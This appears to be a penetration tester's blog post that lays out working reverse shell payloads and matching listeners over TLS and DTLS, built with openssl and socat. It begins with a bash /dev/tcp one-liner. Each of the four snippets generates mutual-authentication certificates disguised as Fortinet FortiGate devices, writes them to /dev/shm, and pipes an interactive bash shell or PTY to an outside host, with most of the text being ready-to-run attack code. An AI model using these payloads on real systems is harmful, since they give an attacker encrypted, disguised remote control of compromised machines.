In a recent pentest I had code execution on an internal system, but was too lazy to deploy a full C2. Instead, I wanted to go for a classic reverse shell.
Of course, the trusty old bash -i >& /dev/tcp/1.3.3.7/1337 0>&1 is totally unsuited for connections across the internet. Therefore, I looked at reverse shells over TLS and DTLS (TLS over UDP), since they provide proper encryption and mutual authentication.

I ended up with payloads based on openssl and socat. Although openssl might be preinstalled, the advantage of socat is that it can spawn a PTY on its own, which makes a separate shell upgrade unnecessary. socat can be built from source or downloaded as static binary for various architectures.

Several combinations of payloads and listeners can be found below. Each snippet first generates the needed keys and certificates, then copies the payload to the clipboard and finally starts the listener.

OpenSSL TLS Reverse Shell

HOST=1.3.3.7
PORT=1337
CLIENTNAME=FGT1KD3$RANDOM$RANDOM
SERVERNAME=FGT1KD3$RANDOM$RANDOM
CLIENTSUBJECT=/C=US/ST=California/L=Sunnyvale/O=Fortinet/OU=FortiGate/CN=$CLIENTNAME/emailAddress=[email protected]
SERVERSUBJECT=/C=US/ST=California/L=Sunnyvale/O=Fortinet/OU=FortiGate/CN=$SERVERNAME/emailAddress=[email protected]
openssl req -quiet -newkey ed25519 -nodes -x509 -days 365 -subj $CLIENTSUBJECT -keyout ./client.key -out ./client.crt
openssl req -quiet -newkey ed25519 -nodes -x509 -days 365 -subj $SERVERSUBJECT -keyout ./server.key -out ./server.crt
CLIENTCRT=$(base64 -w0 ./client.crt)
SERVERCRT=$(base64 -w0 ./server.crt)
CLIENTPEM=$(cat ./client.key ./client.crt | tee ./client.pem | base64 -w0)
SERVERPEM=$(cat ./server.key ./server.crt | tee ./server.pem | base64 -w0)
TMP1=/dev/shm/$RANDOM
TMP2=/dev/shm/$RANDOM
TMP3=/dev/shm/$RANDOM
cat << EOF | wl-copy
echo $SERVERCRT|base64 -d>$TMP1;echo $CLIENTPEM|base64 -d>$TMP2;rm -f $TMP3;mkfifo $TMP3;bash -i<$TMP3 2>&1|openssl s_client -quiet -CAfile $TMP1 -cert $TMP2 -verify_return_error -connect $HOST:$PORT>$TMP3;rm -f $TMP1 $TMP2 $TMP3
EOF
socat -dd openssl-listen:$PORT,cafile=./client.crt,cert=./server.pem,commonname=$CLIENTNAME,reuseaddr readline

OpenSSL DTLS Reverse Shell

HOST=1.3.3.7
PORT=1337
CLIENTNAME=FGT1KD3$RANDOM$RANDOM
SERVERNAME=FGT1KD3$RANDOM$RANDOM
CLIENTSUBJECT=/C=US/ST=California/L=Sunnyvale/O=Fortinet/OU=FortiGate/CN=$CLIENTNAME/emailAddress=[email protected]
SERVERSUBJECT=/C=US/ST=California/L=Sunnyvale/O=Fortinet/OU=FortiGate/CN=$SERVERNAME/emailAddress=[email protected]
openssl req -quiet -newkey rsa:2048 -nodes -x509 -days 365 -subj $CLIENTSUBJECT -keyout ./client.key -out ./client.crt
openssl req -quiet -newkey rsa:2048 -nodes -x509 -days 365 -subj $SERVERSUBJECT -keyout ./server.key -out ./server.crt
CLIENTCRT=$(base64 -w0 ./client.crt)
SERVERCRT=$(base64 -w0 ./server.crt)
CLIENTPEM=$(cat ./client.key ./client.crt | tee ./client.pem | base64 -w0)
SERVERPEM=$(cat ./server.key ./server.crt | tee ./server.pem | base64 -w0)
TMP1=/dev/shm/$RANDOM
TMP2=/dev/shm/$RANDOM
TMP3=/dev/shm/$RANDOM
cat << EOF | wl-copy
echo $SERVERCRT|base64 -d>$TMP1;echo $CLIENTPEM|base64 -d>$TMP2;rm -f $TMP3;mkfifo $TMP3;bash -i<$TMP3 2>&1|openssl s_client -quiet -dtls -CAfile $TMP1 -cert $TMP2 -verify_return_error -connect $HOST:$PORT>$TMP3;rm -f $TMP1 $TMP2 $TMP3
EOF
socat -dd openssl-dtls-server:$PORT,cafile=./client.crt,cert=./server.pem,commonname=$CLIENTNAME,reuseaddr readline

Socat TLS Reverse Shell

HOST=1.3.3.7
PORT=1337
CLIENTNAME=FGT1KD3$RANDOM$RANDOM
SERVERNAME=FGT1KD3$RANDOM$RANDOM
CLIENTSUBJECT=/C=US/ST=California/L=Sunnyvale/O=Fortinet/OU=FortiGate/CN=$CLIENTNAME/emailAddress=[email protected]
SERVERSUBJECT=/C=US/ST=California/L=Sunnyvale/O=Fortinet/OU=FortiGate/CN=$SERVERNAME/emailAddress=[email protected]
openssl req -quiet -newkey ed25519 -nodes -x509 -days 365 -subj $CLIENTSUBJECT -keyout ./client.key -out ./client.crt
openssl req -quiet -newkey ed25519 -nodes -x509 -days 365 -subj $SERVERSUBJECT -keyout ./server.key -out ./server.crt
CLIENTCRT=$(base64 -w0 ./client.crt)
SERVERCRT=$(base64 -w0 ./server.crt)
CLIENTPEM=$(cat ./client.key ./client.crt | tee ./client.pem | base64 -w0)
SERVERPEM=$(cat ./server.key ./server.crt | tee ./server.pem | base64 -w0)
TMP1=/dev/shm/$RANDOM
TMP2=/dev/shm/$RANDOM
cat << EOF | wl-copy
echo $SERVERCRT|base64 -d>$TMP1;echo $CLIENTPEM|base64 -d>$TMP2;socat openssl:$HOST:$PORT,cafile=$TMP1,cert=$TMP2,commonname=$SERVERNAME exec:bash,pty,stderr,setsid,sigint,sane;rm -f $TMP1 $TMP2
EOF
socat -dd openssl-listen:$PORT,cafile=./client.crt,cert=./server.pem,commonname=$CLIENTNAME,reuseaddr file:$(tty),raw,echo=0

Socat DTLS Reverse Shell

HOST=1.3.3.7
PORT=1337
CLIENTNAME=FGT1KD3$RANDOM$RANDOM
SERVERNAME=FGT1KD3$RANDOM$RANDOM
CLIENTSUBJECT=/C=US/ST=California/L=Sunnyvale/O=Fortinet/OU=FortiGate/CN=$CLIENTNAME/emailAddress=[email protected]
SERVERSUBJECT=/C=US/ST=California/L=Sunnyvale/O=Fortinet/OU=FortiGate/CN=$SERVERNAME/emailAddress=[email protected]
openssl req -quiet -newkey rsa:2048 -nodes -x509 -days 365 -subj $CLIENTSUBJECT -keyout ./client.key -out ./client.crt
openssl req -quiet -newkey rsa:2048 -nodes -x509 -days 365 -subj $SERVERSUBJECT -keyout ./server.key -out ./server.crt
CLIENTCRT=$(base64 -w0 ./client.crt)
SERVERCRT=$(base64 -w0 ./server.crt)
CLIENTPEM=$(cat ./client.key ./client.crt | tee ./client.pem | base64 -w0)
SERVERPEM=$(cat ./server.key ./server.crt | tee ./server.pem | base64 -w0)
TMP1=/dev/shm/$RANDOM
TMP2=/dev/shm/$RANDOM
cat << EOF | wl-copy
echo $SERVERCRT|base64 -d>$TMP1;echo $CLIENTPEM|base64 -d>$TMP2;socat openssl-dtls-client:$HOST:$PORT,cafile=$TMP1,cert=$TMP2,commonname=$SERVERNAME exec:bash,pty,stderr,setsid,sigint,sane;rm -f $TMP1 $TMP2
EOF
socat -dd openssl-dtls-server:$PORT,cafile=./client.crt,cert=./server.pem,commonname=$CLIENTNAME,reuseaddr file:$(tty),raw,echo=0